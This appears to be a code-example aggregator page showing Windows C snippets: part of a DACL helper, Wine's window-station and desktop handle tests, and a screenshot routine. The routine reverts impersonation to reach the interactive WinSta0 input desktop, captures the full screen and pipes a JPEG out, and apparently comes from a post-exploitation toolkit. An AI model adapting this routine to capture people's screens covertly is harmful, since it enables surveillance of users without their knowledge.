    if (ERROR_SUCCESS != status)
    {
        perror2(status, "MergeWithExistingDacl(Desktop)");
        goto cleanup;
    }

cleanup:
    if (desktop)
        CloseDesktop(desktop);
    if (windowStation)
        CloseWindowStation(windowStation);
    if (sid)
        LocalFree(sid);
    return ERROR_SUCCESS;
}
예제 #29
0
파일: winstation.c 프로젝트: Kelimion/wine
static void test_handles(void)
{
    HWINSTA w1, w2, w3;
    HDESK d1, d2, d3;
    HANDLE hthread;
    DWORD id, flags, le;
    ATOM atom;
    char buffer[20];

    /* win stations */

    w1 = GetProcessWindowStation();
    ok( GetProcessWindowStation() == w1, "GetProcessWindowStation returned different handles\n" );
    ok( !CloseWindowStation(w1), "closing process win station succeeded\n" );
    SetLastError( 0xdeadbeef );
    ok( !CloseHandle(w1), "closing process win station handle succeeded\n" );
    ok( GetLastError() == ERROR_INVALID_HANDLE, "bad last error %d\n", GetLastError() );
    print_object( w1 );

    flags = 0;
    ok( GetHandleInformation( w1, &flags ), "GetHandleInformation failed\n" );
    ok( !(flags & HANDLE_FLAG_PROTECT_FROM_CLOSE) ||
        broken(flags & HANDLE_FLAG_PROTECT_FROM_CLOSE), /* set on nt4 */
        "handle %p PROTECT_FROM_CLOSE set\n", w1 );

    ok( DuplicateHandle( GetCurrentProcess(), w1, GetCurrentProcess(), (PHANDLE)&w2, 0,
                         TRUE, DUPLICATE_SAME_ACCESS ), "DuplicateHandle failed\n" );
    ok( CloseWindowStation(w2), "closing dup win station failed\n" );

    ok( DuplicateHandle( GetCurrentProcess(), w1, GetCurrentProcess(), (PHANDLE)&w2, 0,
                         TRUE, DUPLICATE_SAME_ACCESS ), "DuplicateHandle failed\n" );
    ok( CloseHandle(w2), "closing dup win station handle failed\n" );

    w2 = CreateWindowStation("WinSta0", 0, WINSTA_ALL_ACCESS, NULL );
    le = GetLastError();
    ok( w2 != 0 || le == ERROR_ACCESS_DENIED, "CreateWindowStation failed (%u)\n", le );
    if (w2 != 0)
    {
        ok( w2 != w1, "CreateWindowStation returned default handle\n" );
        SetLastError( 0xdeadbeef );
        ok( !CloseDesktop( (HDESK)w2 ), "CloseDesktop succeeded on win station\n" );
        ok( GetLastError() == ERROR_INVALID_HANDLE || broken(GetLastError() == 0xdeadbeef), /* wow64 */
            "bad last error %d\n", GetLastError() );
        ok( CloseWindowStation( w2 ), "CloseWindowStation failed\n" );

        w2 = CreateWindowStation("WinSta0", 0, WINSTA_ALL_ACCESS, NULL );
        ok( CloseHandle( w2 ), "CloseHandle failed\n" );
    }
    else if (le == ERROR_ACCESS_DENIED)
        win_skip( "Not enough privileges for CreateWindowStation\n" );

    w2 = OpenWindowStation("winsta0", TRUE, WINSTA_ALL_ACCESS );
    ok( w2 != 0, "OpenWindowStation failed\n" );
    ok( w2 != w1, "OpenWindowStation returned default handle\n" );
    ok( CloseWindowStation( w2 ), "CloseWindowStation failed\n" );

    w2 = OpenWindowStation("dummy name", TRUE, WINSTA_ALL_ACCESS );
    ok( !w2, "open dummy win station succeeded\n" );

    CreateMutexA( NULL, 0, "foobar" );
    w2 = CreateWindowStation("foobar", 0, WINSTA_ALL_ACCESS, NULL );
    le = GetLastError();
    ok( w2 != 0 || le == ERROR_ACCESS_DENIED, "create foobar station failed (%u)\n", le );

    if (w2 != 0)
    {
        w3 = OpenWindowStation("foobar", TRUE, WINSTA_ALL_ACCESS );
        ok( w3 != 0, "open foobar station failed\n" );
        ok( w3 != w2, "open foobar station returned same handle\n" );
        ok( CloseWindowStation( w2 ), "CloseWindowStation failed\n" );
        ok( CloseWindowStation( w3 ), "CloseWindowStation failed\n" );

        w3 = OpenWindowStation("foobar", TRUE, WINSTA_ALL_ACCESS );
        ok( !w3, "open foobar station succeeded\n" );

        w2 = CreateWindowStation("foobar1", 0, WINSTA_ALL_ACCESS, NULL );
        ok( w2 != 0, "create foobar station failed\n" );
        w3 = CreateWindowStation("foobar2", 0, WINSTA_ALL_ACCESS, NULL );
        ok( w3 != 0, "create foobar station failed\n" );
        ok( GetHandleInformation( w2, &flags ), "GetHandleInformation failed\n" );
        ok( GetHandleInformation( w3, &flags ), "GetHandleInformation failed\n" );

        SetProcessWindowStation( w2 );
        atom = GlobalAddAtomA("foo");
        ok( GlobalGetAtomNameA( atom, buffer, sizeof(buffer) ) == 3, "GlobalGetAtomName failed\n" );
        ok( !lstrcmpiA( buffer, "foo" ), "bad atom value %s\n", buffer );

        ok( !CloseWindowStation( w2 ), "CloseWindowStation succeeded\n" );
        ok( GetHandleInformation( w2, &flags ), "GetHandleInformation failed\n" );

        SetProcessWindowStation( w3 );
        ok( GetHandleInformation( w2, &flags ), "GetHandleInformation failed\n" );
        ok( CloseWindowStation( w2 ), "CloseWindowStation failed\n" );
        ok( GlobalGetAtomNameA( atom, buffer, sizeof(buffer) ) == 3, "GlobalGetAtomName failed\n" );
        ok( !lstrcmpiA( buffer, "foo" ), "bad atom value %s\n", buffer );
    }
    else if (le == ERROR_ACCESS_DENIED)
        win_skip( "Not enough privileges for CreateWindowStation\n" );

    /* desktops */
    d1 = GetThreadDesktop(GetCurrentThreadId());
    initial_desktop = d1;
    ok( GetThreadDesktop(GetCurrentThreadId()) == d1,
        "GetThreadDesktop returned different handles\n" );

    flags = 0;
    ok( GetHandleInformation( d1, &flags ), "GetHandleInformation failed\n" );
    ok( !(flags & HANDLE_FLAG_PROTECT_FROM_CLOSE), "handle %p PROTECT_FROM_CLOSE set\n", d1 );

    SetLastError( 0xdeadbeef );
    ok( !CloseDesktop(d1), "closing thread desktop succeeded\n" );
    ok( GetLastError() == ERROR_BUSY || broken(GetLastError() == 0xdeadbeef), /* wow64 */
        "bad last error %d\n", GetLastError() );

    SetLastError( 0xdeadbeef );
    if (CloseHandle( d1 ))  /* succeeds on nt4 */
    {
        win_skip( "NT4 desktop handle management is completely different\n" );
        return;
    }
    ok( GetLastError() == ERROR_INVALID_HANDLE, "bad last error %d\n", GetLastError() );

    ok( DuplicateHandle( GetCurrentProcess(), d1, GetCurrentProcess(), (PHANDLE)&d2, 0,
                         TRUE, DUPLICATE_SAME_ACCESS ), "DuplicateHandle failed\n" );
    ok( CloseDesktop(d2), "closing dup desktop failed\n" );

    ok( DuplicateHandle( GetCurrentProcess(), d1, GetCurrentProcess(), (PHANDLE)&d2, 0,
                         TRUE, DUPLICATE_SAME_ACCESS ), "DuplicateHandle failed\n" );
    ok( CloseHandle(d2), "closing dup desktop handle failed\n" );

    d2 = OpenDesktop( "dummy name", 0, TRUE, DESKTOP_ALL_ACCESS );
    ok( !d2, "open dummy desktop succeeded\n" );

    d2 = CreateDesktop( "foobar", NULL, NULL, 0, DESKTOP_ALL_ACCESS, NULL );
    ok( d2 != 0, "create foobar desktop failed\n" );
    SetLastError( 0xdeadbeef );
    ok( !CloseWindowStation( (HWINSTA)d2 ), "CloseWindowStation succeeded on desktop\n" );
    ok( GetLastError() == ERROR_INVALID_HANDLE || broken(GetLastError() == 0xdeadbeef), /* wow64 */
        "bad last error %d\n", GetLastError() );

    SetLastError( 0xdeadbeef );
    d3 = CreateDesktop( "foobar", NULL, NULL, 0, DESKTOP_ALL_ACCESS, NULL );
    ok( d3 != 0, "create foobar desktop again failed\n" );
    ok( GetLastError() == 0xdeadbeef, "bad last error %d\n", GetLastError() );
    ok( CloseDesktop( d3 ), "CloseDesktop failed\n" );

    d3 = OpenDesktop( "foobar", 0, TRUE, DESKTOP_ALL_ACCESS );
    ok( d3 != 0, "open foobar desktop failed\n" );
    ok( d3 != d2, "open foobar desktop returned same handle\n" );
    ok( CloseDesktop( d2 ), "CloseDesktop failed\n" );
    ok( CloseDesktop( d3 ), "CloseDesktop failed\n" );

    d3 = OpenDesktop( "foobar", 0, TRUE, DESKTOP_ALL_ACCESS );
    ok( !d3, "open foobar desktop succeeded\n" );

    ok( !CloseHandle(d1), "closing thread desktop handle succeeded\n" );
    d2 = GetThreadDesktop(GetCurrentThreadId());
    ok( d1 == d2, "got different handles after close\n" );

    register_class();
    trace( "thread 1 desktop: %p\n", d1 );
    print_object( d1 );
    hthread = CreateThread( NULL, 0, thread, (LPVOID)2, 0, &id );
    Sleep(1000);
    trace( "get other thread desktop: %p\n", GetThreadDesktop(id) );
    WaitForSingleObject( hthread, INFINITE );
    CloseHandle( hthread );
}
예제 #30
0
/*
 * Take a screenshot of this sessions default input desktop on WinSta0
 * and send it as a JPEG image to a named pipe.
 */
DWORD screenshot( int quality, DWORD dwPipeName )
{
	DWORD dwResult             = ERROR_ACCESS_DENIED;
	HWINSTA hWindowStation     = NULL;
	HWINSTA hOrigWindowStation = NULL;
	HDESK hInputDesktop        = NULL;
	HDESK hOrigDesktop         = NULL;
	HWND hDesktopWnd           = NULL;	
	HDC hdc                    = NULL;
	HDC hmemdc                 = NULL;
	HBITMAP hbmp               = NULL;
	BYTE * pJpegBuffer         = NULL;
	OSVERSIONINFO os           = {0};
	char cNamedPipe[MAX_PATH]  = {0};
	// If we use SM_C[X|Y]VIRTUALSCREEN we can screenshot the whole desktop of a multi monitor display.
	int xmetric               = SM_CXVIRTUALSCREEN;
	int ymetric               = SM_CYVIRTUALSCREEN;
	DWORD dwJpegSize          = 0;
	int sx                    = 0;
	int sy                    = 0;

	do
	{
		_snprintf( cNamedPipe, MAX_PATH, "\\\\.\\pipe\\%08X", dwPipeName );

		os.dwOSVersionInfoSize = sizeof( OSVERSIONINFO );

		if( !GetVersionEx( &os ) )
			BREAK_ON_ERROR( "[SCREENSHOT] screenshot: GetVersionEx failed" )
		
		// On NT we cant use SM_CXVIRTUALSCREEN/SM_CYVIRTUALSCREEN.
		if( os.dwMajorVersion <= 4 )
		{
			xmetric = SM_CXSCREEN;
			ymetric = SM_CYSCREEN;
		}
		
		// open the WinSta0 as some services are attached to a different window station.
		hWindowStation = OpenWindowStation( "WinSta0", FALSE, WINSTA_ALL_ACCESS );
		if( !hWindowStation )
		{
			if( RevertToSelf() )
				hWindowStation = OpenWindowStation( "WinSta0", FALSE, WINSTA_ALL_ACCESS );
		}
		
		// if we cant open the defaut input station we wont be able to take a screenshot
		if( !hWindowStation )
			BREAK_WITH_ERROR( "[SCREENSHOT] screenshot: Couldnt get the WinSta0 Window Station", ERROR_INVALID_HANDLE );
		
		// get the current process's window station so we can restore it later on.
		hOrigWindowStation = GetProcessWindowStation();
		
		// set the host process's window station to this sessions default input station we opened
		if( !SetProcessWindowStation( hWindowStation ) )
			BREAK_ON_ERROR( "[SCREENSHOT] screenshot: SetProcessWindowStation failed" );

		// grab a handle to the default input desktop (e.g. Default or WinLogon)
		hInputDesktop = OpenInputDesktop( 0, FALSE, MAXIMUM_ALLOWED );
		if( !hInputDesktop )
			BREAK_ON_ERROR( "[SCREENSHOT] screenshot: OpenInputDesktop failed" );

		// get the threads current desktop so we can restore it later on
		hOrigDesktop = GetThreadDesktop( GetCurrentThreadId() );

		// set this threads desktop to that of this sessions default input desktop on WinSta0
		SetThreadDesktop( hInputDesktop );

		// and now we can grab a handle to this input desktop
		hDesktopWnd = GetDesktopWindow();

		// and get a DC from it so we can read its pixels!
		hdc = GetDC( hDesktopWnd );
		if( !hdc )
			BREAK_ON_ERROR( "[SCREENSHOT] screenshot. GetDC failed" );

		// back up this DC with a memory DC
		hmemdc = CreateCompatibleDC( hdc );
		if( !hmemdc )
			BREAK_ON_ERROR( "[SCREENSHOT] screenshot. CreateCompatibleDC failed" );

		// calculate the width and height
		sx = GetSystemMetrics( xmetric );
		sy = GetSystemMetrics( ymetric );

		// and create a bitmap
		hbmp = CreateCompatibleBitmap( hdc, sx, sy );
		if( !hbmp )
			BREAK_ON_ERROR( "[SCREENSHOT] screenshot. CreateCompatibleBitmap failed" );
		
		// this bitmap is backed by the memory DC
		if( !SelectObject( hmemdc, hbmp ) )
			BREAK_ON_ERROR( "[SCREENSHOT] screenshot. SelectObject failed" );

		// BitBlt the screenshot of this sessions default input desktop on WinSta0 onto the memory DC we created 
		if( !BitBlt( hmemdc, 0, 0, sx, sy, hdc, 0, 0, SRCCOPY ) )
			BREAK_ON_ERROR( "[SCREENSHOT] screenshot. BitBlt failed" );

		// finally convert the BMP we just made into a JPEG...
		if( bmp2jpeg( hbmp, hmemdc, quality, &pJpegBuffer, &dwJpegSize ) != 1 )
			BREAK_WITH_ERROR( "[SCREENSHOT] screenshot. bmp2jpeg failed", ERROR_INVALID_HANDLE );

		// we have succeded
		dwResult = ERROR_SUCCESS;
		
	} while( 0 );

	// if we have successfully taken a screenshot we send it back via the named pipe
	// but if we have failed we send back a zero byte result to indicate this failure.
	if( dwResult == ERROR_SUCCESS )
		screenshot_send( cNamedPipe, pJpegBuffer, dwJpegSize );
	else
		screenshot_send( cNamedPipe, NULL, 0 );

	if( hdc )
		ReleaseDC( hDesktopWnd, hdc );

	if( hmemdc )
		DeleteDC( hmemdc );

	if( hbmp )
		DeleteObject( hbmp );

	// free the jpeg images buffer
	if( pJpegBuffer )
		free( pJpegBuffer );

	// restore the origional process's window station
	if( hOrigWindowStation )
		SetProcessWindowStation( hOrigWindowStation );

	// restore the threads origional desktop
	if( hOrigDesktop )
		SetThreadDesktop( hOrigDesktop );

	// close the WinSta0 window station handle we opened
	if( hWindowStation )
		CloseWindowStation( hWindowStation );

	// close this last to avoid a handle leak...
	if( hInputDesktop )
		CloseDesktop( hInputDesktop );

	return dwResult;
}